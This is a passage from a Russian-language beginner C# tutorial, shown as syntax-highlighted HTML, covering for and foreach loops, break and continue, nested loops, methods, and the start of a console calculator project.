class=\"highlight\"><pre><span></span><code><span class=\"c1\">// Числа от 0 до 9</span>\n<span class=\"k\">for</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">i</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"m\">0</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"n\">i</span><span class=\"w\"> </span><span class=\"o\">&lt;</span><span class=\"w\"> </span><span class=\"m\">10</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"n\">i</span><span class=\"o\">++</span><span class=\"p\">)</span>\n<span class=\"w\">    </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">Write</span><span class=\"p\">(</span><span class=\"n\">i</span><span class=\"w\"> </span><span class=\"o\">+</span><span class=\"w\"> </span><span class=\"s\">&quot; &quot;</span><span class=\"p\">);</span>\n<span class=\"c1\">// 0 1 2 3 4 5 6 7 8 9</span>\n\n<span class=\"c1\">// Числа от 1 до 10</span>\n<span class=\"k\">for</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">i</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"m\">1</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"n\">i</span><span class=\"w\"> </span><span class=\"o\">&lt;=</span><span class=\"w\"> </span><span class=\"m\">10</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"n\">i</span><span class=\"o\">++</span><span class=\"p\">)</span>\n<span class=\"w\">    </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">Write</span><span class=\"p\">(</span><span class=\"n\">i</span><span class=\"w\"> </span><span class=\"o\">+</span><span class=\"w\"> </span><span class=\"s\">&quot; &quot;</span><span class=\"p\">);</span>\n<span class=\"c1\">// 1 2 3 4 5 6 7 8 9 10</span>\n\n<span class=\"c1\">// Числа от 10 до 1 (обратный отсчёт)</span>\n<span class=\"k\">for</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">i</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"m\">10</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"n\">i</span><span class=\"w\"> </span><span class=\"o\">&gt;=</span><span class=\"w\"> </span><span class=\"m\">1</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"n\">i</span><span class=\"o\">--</span><span class=\"p\">)</span>\n<span class=\"w\">    </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">Write</span><span class=\"p\">(</span><span class=\"n\">i</span><span class=\"w\"> </span><span class=\"o\">+</span><span class=\"w\"> </span><span class=\"s\">&quot; &quot;</span><span class=\"p\">);</span>\n<span class=\"c1\">// 10 9 8 7 6 5 4 3 2 1</span>\n\n<span class=\"c1\">// Чётные числа от 2 до 20 (шаг 2)</span>\n<span class=\"k\">for</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">i</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"m\">2</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"n\">i</span><span class=\"w\"> </span><span class=\"o\">&lt;=</span><span class=\"w\"> </span><span class=\"m\">20</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"n\">i</span><span class=\"w\"> </span><span class=\"o\">+=</span><span class=\"w\"> </span><span class=\"m\">2</span><span class=\"p\">)</span>\n<span class=\"w\">    </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">Write</span><span class=\"p\">(</span><span class=\"n\">i</span><span class=\"w\"> </span><span class=\"o\">+</span><span class=\"w\"> </span><span class=\"s\">&quot; &quot;</span><span class=\"p\">);</span>\n<span class=\"c1\">// 2 4 6 8 10 12 14 16 18 20</span>\n\n<span class=\"c1\">// Таблица умножения на 7</span>\n<span class=\"k\">for</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">i</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"m\">1</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"n\">i</span><span class=\"w\"> </span><span class=\"o\">&lt;=</span><span class=\"w\"> </span><span class=\"m\">10</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"n\">i</span><span class=\"o\">++</span><span class=\"p\">)</span>\n<span class=\"w\">    </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">$&quot;7 × {i} = {7 * i}&quot;</span><span class=\"p\">);</span>\n</code></pre></div>\n\n<hr />\n<h4 id=\"foreach-перебор-каждого-элемента-коллекции\">foreach — перебор каждого элемента коллекции</h4>\n<p><code>foreach</code> — это специальный цикл для перебора массивов, списков и других коллекций. Он <strong>не требует счётчика</strong>.</p>\n<div class=\"highlight\"><pre><span></span><code><span class=\"kt\">string</span><span class=\"p\">[]</span><span class=\"w\"> </span><span class=\"n\">names</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"p\">{</span><span class=\"w\"> </span><span class=\"s\">&quot;Коля&quot;</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"s\">&quot;Петя&quot;</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"s\">&quot;Вася&quot;</span><span class=\"w\"> </span><span class=\"p\">};</span>\n\n<span class=\"k\">foreach</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">name</span><span class=\"w\"> </span><span class=\"k\">in</span><span class=\"w\"> </span><span class=\"n\">names</span><span class=\"p\">)</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">&quot;Привет, &quot;</span><span class=\"w\"> </span><span class=\"o\">+</span><span class=\"w\"> </span><span class=\"n\">name</span><span class=\"w\"> </span><span class=\"o\">+</span><span class=\"w\"> </span><span class=\"s\">&quot;!&quot;</span><span class=\"p\">);</span>\n<span class=\"p\">}</span>\n<span class=\"c1\">// Привет, Коля!</span>\n<span class=\"c1\">// Привет, Петя!</span>\n<span class=\"c1\">// Привет, Вася!</span>\n</code></pre></div>\n\n<p>Читается: <strong>«для каждого <code>name</code> в <code>names</code> — делай это»</strong>.</p>\n<p>С каждым шагом переменная <code>name</code> принимает следующее значение из массива. Тебе не нужно думать об индексах и счётчиках.</p>\n<div class=\"highlight\"><pre><span></span><code><span class=\"kt\">int</span><span class=\"p\">[]</span><span class=\"w\"> </span><span class=\"n\">numbers</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"p\">{</span><span class=\"w\"> </span><span class=\"m\">5</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"m\">12</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"m\">3</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"m\">8</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"m\">19</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"m\">1</span><span class=\"w\"> </span><span class=\"p\">};</span>\n<span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">sum</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"m\">0</span><span class=\"p\">;</span>\n\n<span class=\"k\">foreach</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">n</span><span class=\"w\"> </span><span class=\"k\">in</span><span class=\"w\"> </span><span class=\"n\">numbers</span><span class=\"p\">)</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"n\">sum</span><span class=\"w\"> </span><span class=\"o\">+=</span><span class=\"w\"> </span><span class=\"n\">n</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"c1\">// прибавляем каждое число к сумме</span>\n<span class=\"p\">}</span>\n\n<span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">&quot;Сумма: &quot;</span><span class=\"w\"> </span><span class=\"o\">+</span><span class=\"w\"> </span><span class=\"n\">sum</span><span class=\"p\">);</span><span class=\"w\"> </span><span class=\"c1\">// Сумма: 48</span>\n</code></pre></div>\n\n<h4 id=\"когда-какой-цикл-использовать\">Когда какой цикл использовать?</h4>\n<table>\n<thead>\n<tr>\n<th>Ситуация</th>\n<th>Цикл</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td>Знаю точно сколько раз</td>\n<td><code>for</code></td>\n</tr>\n<tr>\n<td>Не знаю сколько раз, жду условия</td>\n<td><code>while</code></td>\n</tr>\n<tr>\n<td>Перебираю все элементы массива/списка</td>\n<td><code>foreach</code></td>\n</tr>\n<tr>\n<td>Нужен индекс элемента</td>\n<td><code>for</code></td>\n</tr>\n</tbody>\n</table>\n<hr />\n<h4 id=\"break-и-continue-управление-циклом\">break и continue — управление циклом</h4>\n<p><strong><code>break</code></strong> — немедленно выйти из цикла:</p>\n<div class=\"highlight\"><pre><span></span><code><span class=\"k\">for</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">i</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"m\">0</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"n\">i</span><span class=\"w\"> </span><span class=\"o\">&lt;</span><span class=\"w\"> </span><span class=\"m\">10</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"n\">i</span><span class=\"o\">++</span><span class=\"p\">)</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"k\">if</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">i</span><span class=\"w\"> </span><span class=\"o\">==</span><span class=\"w\"> </span><span class=\"m\">5</span><span class=\"p\">)</span>\n<span class=\"w\">        </span><span class=\"k\">break</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"c1\">// выходим когда i = 5</span>\n\n<span class=\"w\">    </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">Write</span><span class=\"p\">(</span><span class=\"n\">i</span><span class=\"w\"> </span><span class=\"o\">+</span><span class=\"w\"> </span><span class=\"s\">&quot; &quot;</span><span class=\"p\">);</span>\n<span class=\"p\">}</span>\n<span class=\"c1\">// Напечатает: 0 1 2 3 4</span>\n</code></pre></div>\n\n<p><strong><code>continue</code></strong> — пропустить текущий шаг и перейти к следующему:</p>\n<div class=\"highlight\"><pre><span></span><code><span class=\"k\">for</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">i</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"m\">0</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"n\">i</span><span class=\"w\"> </span><span class=\"o\">&lt;</span><span class=\"w\"> </span><span class=\"m\">10</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"n\">i</span><span class=\"o\">++</span><span class=\"p\">)</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"k\">if</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">i</span><span class=\"w\"> </span><span class=\"o\">%</span><span class=\"w\"> </span><span class=\"m\">2</span><span class=\"w\"> </span><span class=\"o\">==</span><span class=\"w\"> </span><span class=\"m\">0</span><span class=\"p\">)</span>\n<span class=\"w\">        </span><span class=\"k\">continue</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"c1\">// пропускаем чётные числа</span>\n\n<span class=\"w\">    </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">Write</span><span class=\"p\">(</span><span class=\"n\">i</span><span class=\"w\"> </span><span class=\"o\">+</span><span class=\"w\"> </span><span class=\"s\">&quot; &quot;</span><span class=\"p\">);</span>\n<span class=\"p\">}</span>\n<span class=\"c1\">// Напечатает: 1 3 5 7 9</span>\n</code></pre></div>\n\n<h4 id=\"вложенные-циклы-цикл-внутри-цикла\">Вложенные циклы — цикл внутри цикла</h4>\n<div class=\"highlight\"><pre><span></span><code><span class=\"c1\">// Таблица умножения от 1×1 до 3×3</span>\n<span class=\"k\">for</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">i</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"m\">1</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"n\">i</span><span class=\"w\"> </span><span class=\"o\">&lt;=</span><span class=\"w\"> </span><span class=\"m\">3</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"n\">i</span><span class=\"o\">++</span><span class=\"p\">)</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"k\">for</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">j</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"m\">1</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"n\">j</span><span class=\"w\"> </span><span class=\"o\">&lt;=</span><span class=\"w\"> </span><span class=\"m\">3</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"n\">j</span><span class=\"o\">++</span><span class=\"p\">)</span>\n<span class=\"w\">    </span><span class=\"p\">{</span>\n<span class=\"w\">        </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">Write</span><span class=\"p\">(</span><span class=\"s\">$&quot;{i}×{j}={i*j}  &quot;</span><span class=\"p\">);</span>\n<span class=\"w\">    </span><span class=\"p\">}</span>\n<span class=\"w\">    </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">();</span><span class=\"w\"> </span><span class=\"c1\">// новая строка после каждой строки таблицы</span>\n<span class=\"p\">}</span>\n</code></pre></div>\n\n<p>Вывод:</p>\n<div class=\"highlight\"><pre><span></span><code>1×1=1  1×2=2  1×3=3\n2×1=2  2×2=4  2×3=6\n3×1=3  3×2=6  3×3=9\n</code></pre></div>\n\n<p>Внешний цикл (по <code>i</code>) отвечает за <strong>строки</strong>. Внутренний (по <code>j</code>) — за <strong>столбцы</strong>. Внутренний цикл полностью завершается для каждого значения внешнего.</p>\n<blockquote>\n<p>✏️ <strong>Попробуй:</strong></p>\n<ol>\n<li>Напиши цикл <code>for</code> который печатает числа от 10 до 1 в обратном порядке</li>\n<li>Напиши программу: сумма всех чисел от 1 до 100 (ответ должен быть 5050)</li>\n<li>Напиши программу: запрашивает числа от пользователя в цикле, пока не введут 0. Выводит сумму введённых чисел.</li>\n</ol>\n</blockquote>\n<hr />\n<h2 id=\"5-методы\">5. Методы</h2>\n<p>Метод — это <strong>именованный блок кода</strong>, которому ты даёшь имя и можешь вызывать сколько угодно раз.</p>\n<blockquote>\n<p><strong>Аналогия:</strong> Метод — это рецепт. Ты один раз написал «как испечь пирог», дал ему имя «ИспечьПирог». Теперь в любом месте программы пишешь <code>ИспечьПирог()</code> — и всё происходит. Не надо каждый раз описывать все шаги заново.</p>\n</blockquote>\n<p><strong>Зачем нужны методы?</strong> Без них одинаковый код приходилось бы копировать в 10 местах. Нашёл ошибку — исправляй в 10 местах. С методом — исправил один раз.</p>\n<h3 id=\"метод-без-параметров-и-без-возврата-значения\">Метод без параметров и без возврата значения</h3>\n<div class=\"highlight\"><pre><span></span><code><span class=\"k\">static</span><span class=\"w\"> </span><span class=\"k\">void</span><span class=\"w\"> </span><span class=\"nf\">SayHello</span><span class=\"p\">()</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">&quot;Привет!&quot;</span><span class=\"p\">);</span>\n<span class=\"p\">}</span>\n\n<span class=\"c1\">// Вызов:</span>\n<span class=\"n\">SayHello</span><span class=\"p\">();</span><span class=\"w\"> </span><span class=\"c1\">// напечатает &quot;Привет!&quot;</span>\n<span class=\"n\">SayHello</span><span class=\"p\">();</span><span class=\"w\"> </span><span class=\"c1\">// снова напечатает &quot;Привет!&quot;</span>\n</code></pre></div>\n\n<p>Расшифровка первой строки <code>static void SayHello()</code>:<br />\n- <code>static</code> — метод принадлежит классу, а не объекту (подробнее в разделе 21; пока просто пиши)<br />\n- <code>void</code> — метод <strong>ничего не возвращает</strong> (void = «пустота»)<br />\n- <code>SayHello</code> — имя метода, по нему вызываем<br />\n- <code>()</code> — скобки для параметров; здесь пусто, значит параметров нет</p>\n<h3 id=\"метод-с-параметрами\">Метод с параметрами</h3>\n<div class=\"highlight\"><pre><span></span><code><span class=\"k\">static</span><span class=\"w\"> </span><span class=\"k\">void</span><span class=\"w\"> </span><span class=\"nf\">SayHelloTo</span><span class=\"p\">(</span><span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">name</span><span class=\"p\">)</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">&quot;Привет, &quot;</span><span class=\"w\"> </span><span class=\"o\">+</span><span class=\"w\"> </span><span class=\"n\">name</span><span class=\"w\"> </span><span class=\"o\">+</span><span class=\"w\"> </span><span class=\"s\">&quot;!&quot;</span><span class=\"p\">);</span>\n<span class=\"p\">}</span>\n\n<span class=\"c1\">// Вызов:</span>\n<span class=\"n\">SayHelloTo</span><span class=\"p\">(</span><span class=\"s\">&quot;Коля&quot;</span><span class=\"p\">);</span><span class=\"w\">  </span><span class=\"c1\">// Привет, Коля!</span>\n<span class=\"n\">SayHelloTo</span><span class=\"p\">(</span><span class=\"s\">&quot;Петя&quot;</span><span class=\"p\">);</span><span class=\"w\">  </span><span class=\"c1\">// Привет, Петя!</span>\n</code></pre></div>\n\n<p><code>name</code> здесь — это <strong>параметр</strong>. Это как дырочка, в которую ты вставляешь нужное значение при вызове.</p>\n<h3 id=\"метод-возвращающий-значение\">Метод, возвращающий значение</h3>\n<div class=\"highlight\"><pre><span></span><code><span class=\"k\">static</span><span class=\"w\"> </span><span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"nf\">Add</span><span class=\"p\">(</span><span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">a</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">b</span><span class=\"p\">)</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"k\">return</span><span class=\"w\"> </span><span class=\"n\">a</span><span class=\"w\"> </span><span class=\"o\">+</span><span class=\"w\"> </span><span class=\"n\">b</span><span class=\"p\">;</span>\n<span class=\"p\">}</span>\n\n<span class=\"c1\">// Вызов:</span>\n<span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">result</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">Add</span><span class=\"p\">(</span><span class=\"m\">3</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"m\">5</span><span class=\"p\">);</span><span class=\"w\"> </span><span class=\"c1\">// result = 8</span>\n<span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"n\">result</span><span class=\"p\">);</span><span class=\"w\"> </span><span class=\"c1\">// 8</span>\n</code></pre></div>\n\n<ul>\n<li><code>int</code> перед именем метода — это тип возвращаемого значения</li>\n<li><code>return</code> — «верни это значение тому, кто вызвал метод»</li>\n</ul>\n<h3 id=\"несколько-параметров-разных-типов\">Несколько параметров разных типов</h3>\n<div class=\"highlight\"><pre><span></span><code><span class=\"k\">static</span><span class=\"w\"> </span><span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"nf\">CreateGreeting</span><span class=\"p\">(</span><span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">name</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">age</span><span class=\"p\">)</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"k\">return</span><span class=\"w\"> </span><span class=\"s\">&quot;Привет! Меня зовут &quot;</span><span class=\"w\"> </span><span class=\"o\">+</span><span class=\"w\"> </span><span class=\"n\">name</span><span class=\"w\"> </span><span class=\"o\">+</span><span class=\"w\"> </span><span class=\"s\">&quot;, мне &quot;</span><span class=\"w\"> </span><span class=\"o\">+</span><span class=\"w\"> </span><span class=\"n\">age</span><span class=\"w\"> </span><span class=\"o\">+</span><span class=\"w\"> </span><span class=\"s\">&quot; лет.&quot;</span><span class=\"p\">;</span>\n<span class=\"p\">}</span>\n\n<span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">greeting</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">CreateGreeting</span><span class=\"p\">(</span><span class=\"s\">&quot;Коля&quot;</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"m\">20</span><span class=\"p\">);</span>\n<span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"n\">greeting</span><span class=\"p\">);</span>\n<span class=\"c1\">// Привет! Меня зовут Коля, мне 20 лет.</span>\n</code></pre></div>\n\n<blockquote>\n<p>✏️ <strong>Попробуй:</strong> Напиши метод <code>static bool IsEven(int n)</code> — возвращает <code>true</code> если число чётное (подсказка: <code>n % 2 == 0</code>). Вызови его для чисел 4, 7, 10, 13 и выведи результаты.</p>\n</blockquote>\n<hr />\n<h2 id=\"6-калькулятор\">6. Калькулятор</h2>\n<p>Вот твой первый реальный проект. Разберём его <strong>шаг за шагом</strong>.</p>\n<h3 id=\"шаг-1-самый-простой-сложение-двух-чисел\">Шаг 1: Самый простой — сложение двух чисел</h3>\n<div class=\"highlight\"><pre><span></span><code><span class=\"k\">class</span><span class=\"w\"> </span><span class=\"nc\">Program</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"k\">static</span><span class=\"w\"> </span><span class=\"k\">void</span><span class=\"w\"> </span><span class=\"nf\">Main</span><span class=\"p\">(</span><span class=\"kt\">string</span><span class=\"p\">[]</span><span class=\"w\"> </span><span class=\"n\">args</span><span class=\"p\">)</span>\n<span class=\"w\">    </span><span class=\"p\">{</span>\n<span class=\"w\">        </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">Write</span><span class=\"p\">(</span><span class=\"s\">&quot;Введите первое число: &quot;</span><span class=\"p\">);</span>\n<span class=\"w\">        </span><span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">input1</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">ReadLine</span><span class=\"p\">();</span><span class=\"w\"> </span><span class=\"c1\">// читаем строку с клавиатуры</span>\n<span class=\"w\">        </span><span class=\"kt\">double</span><span class=\"w\"> </span><span class=\"n\">number1</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"kt\">double</span><span class=\"p\">.</span><span class=\"n\">Parse</span><span class=\"p\">(</span><span class=\"n\">input1</span><span class=\"p\">);</span><span class=\"w\"> </span><span class=\"c1\">// превращаем строку в число</span>\n\n<span class=\"w\">        </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">Write</span><span class=\"p\">(</span><span class=\"s\">&quot;Введите второе число: &quot;</span><span class=\"p\">);</span>\n<span class=\"w\">        </span><span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">input2</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">ReadLine</span><span class=\"p\">();</span>\n<span class=\"w\">        </span><span class=\"kt\">double</span><span class=\"w\"> </span><span class=\"n\">number2</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"kt\">double</span><span class=\"p\">.</span><span class=\"n\">Parse</span><span class=\"p\">(</span><span class=\"n\">input2</span><span class=\"p\">);</span>\n\n<span class=\"w\">        </span><span class=\"kt\">double</span><span class=\"w\"> </span><span class=\"n\">result</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">number1</span><span class=\"w\"> </span><span class=\"o\">+</span><span class=\"w\"> </span><span class=\"n\">number2</span><span class=\"p\">;</span>\n<span class=\"w\">        </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">&quot;Результат: &quot;</span><span class=\"w\"> </span><span class=\"o\">+</span><span class=\"w\"> </span><span class=\"n\">result</span><span class=\"p\">);</span>\n<span class=\"w\">    </span><span class=\"p\">}</span>\n<span class=\"p\">}</span>\n</code></pre></div>\n\n<p><strong>Почему <code>Console.ReadLine()</code> возвращает строку, а не число?</strong></p>\n<p>Потому что пользователь вводит символы. Компьютер не знает заранее — это число или текст. Поэтому всё что приходит с клавиатуры — строка. Мы потом сами переводим в нужный тип.</p>\n<p><code>double.Parse(\"42.5\")</code> — превращает строку <code>\"42.5\"</code> в число <code>42.5</code>.</p>\n<h3 id=\"шаг-2-добавляем-выбор-операции\">Шаг 2: Добавляем выбор операции</h3>\n<div class=\"highlight\"><pre><span></span><code><span class=\"k\">class</span><span class=\"w\"> </span><span class=\"nc\">Program</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"k\">static</span><span class=\"w\"> </span><span class=\"k\">void</span><span class=\"w\"> </span><span class=\"nf\">Main</span><span class=\"p\">(</span><span class=\"kt\">string</span><span class=\"p\">[]</span><span class=\"w\"> </span><span class=\"n\">args</span><span class=\"p\">)</span>\n<span class=\"w\">    </span><span class=\"p\">{</span>\n<span class=\"w\">        </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">Write</span><span class=\"p\">(</span><span class=\"s\">&quot;Введите первое число: &quot;</span><span class=\"p\">);</span>\n<span class=\"w\">        </span><span class=\"kt\">double</span><span class=\"w\"> </span><span class=\"n\">a</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"kt\">double</span><span class=\"p\">.</span><span class=\"n\">Parse</span><span class=\"p\">(</span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">ReadLine</span><span class=\"p\">());</span>\n\n<span class=\"w\">        </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">Write</span><span class=\"p\">(</span><span class=\"s\">&quot;Введите операцию (+, -, *, /): &quot;</span><span class=\"p\">);</span>\n<span class=\"w\">        </span><span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">op</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">ReadLine</span><span class=\"p\">();</span>\n\n<span class=\"w\">        </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">Write</span><span class=\"p\">(</span><span class=\"s\">&quot;Введите второе число: &quot;</span><span class=\"p\">);</span>\n<span class=\"w\">        </span><span class=\"kt\">double</span><span class=\"w\"> </span><span class=\"n\">b</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"kt\">double</span><span class=\"p\">.</span><span class=\"n\">Parse</span><span class=\"p\">(</span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">ReadLine</span><span class=\"p\">());</span>\n\n<span class=\"w\">        </span><span class=\"kt\">double</span><span class=\"w\"> </span><span class=\"n\">result</span><span class=\"p\">;</span>\n\n<span class=\"w\">        </span><span class=\"k\">if</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">op</span><span class=\"w\"> </span><span class=\"o\">==</span><span class=\"w\"> </span><span class=\"s\">&quot;+&quot;</span><span class=\"p\">)</span>\n<span class=\"w\">            </span><span class=\"n\">result</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">a</span><span class=\"w\"> </span><span class=\"o\">+</span><span class=\"w\"> </span><span class=\"n\">b</span><span class=\"p\">;</span>\n<span class=\"w\">        </span><span class=\"k\">else</span><span class=\"w\"> </span><span class=\"nf\">if</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">op</span><span class=\"w\"> </span><span class=\"o\">==</span><span class=\"w\"> </span><span class=\"s\">&quot;-&quot;</span><span class=\"p\">)</span>\n<span class=\"w\">            </span><span class=\"n\">result</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">a</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"w\"> </span><span class=\"n\">b</span><span class=\"p\">;</span>\n<span class=\"w\">        </span><span class=\"k\">else</span><span class=\"w\"> </span><span class=\"nf\">if</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">op</span><span class=\"w\"> </span><span class=\"o\">==</span><span class=\"w\"> </span><span class=\"s\">&quot;*&quot;</span><span class=\"p\">)</span>\n<span class=\"w\">            </span><span class=\"n\">result</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">a</span><span class=\"w\"> </span><span class=\"o\">*</span><span class=\"w\"> </span><span class=\"n\">b</span><span class=\"p\">;</span>\n<span class=\"w\">        </span><span class=\"k\">else</span><span class=\"w\"> </span><span class=\"nf\">if</span><span 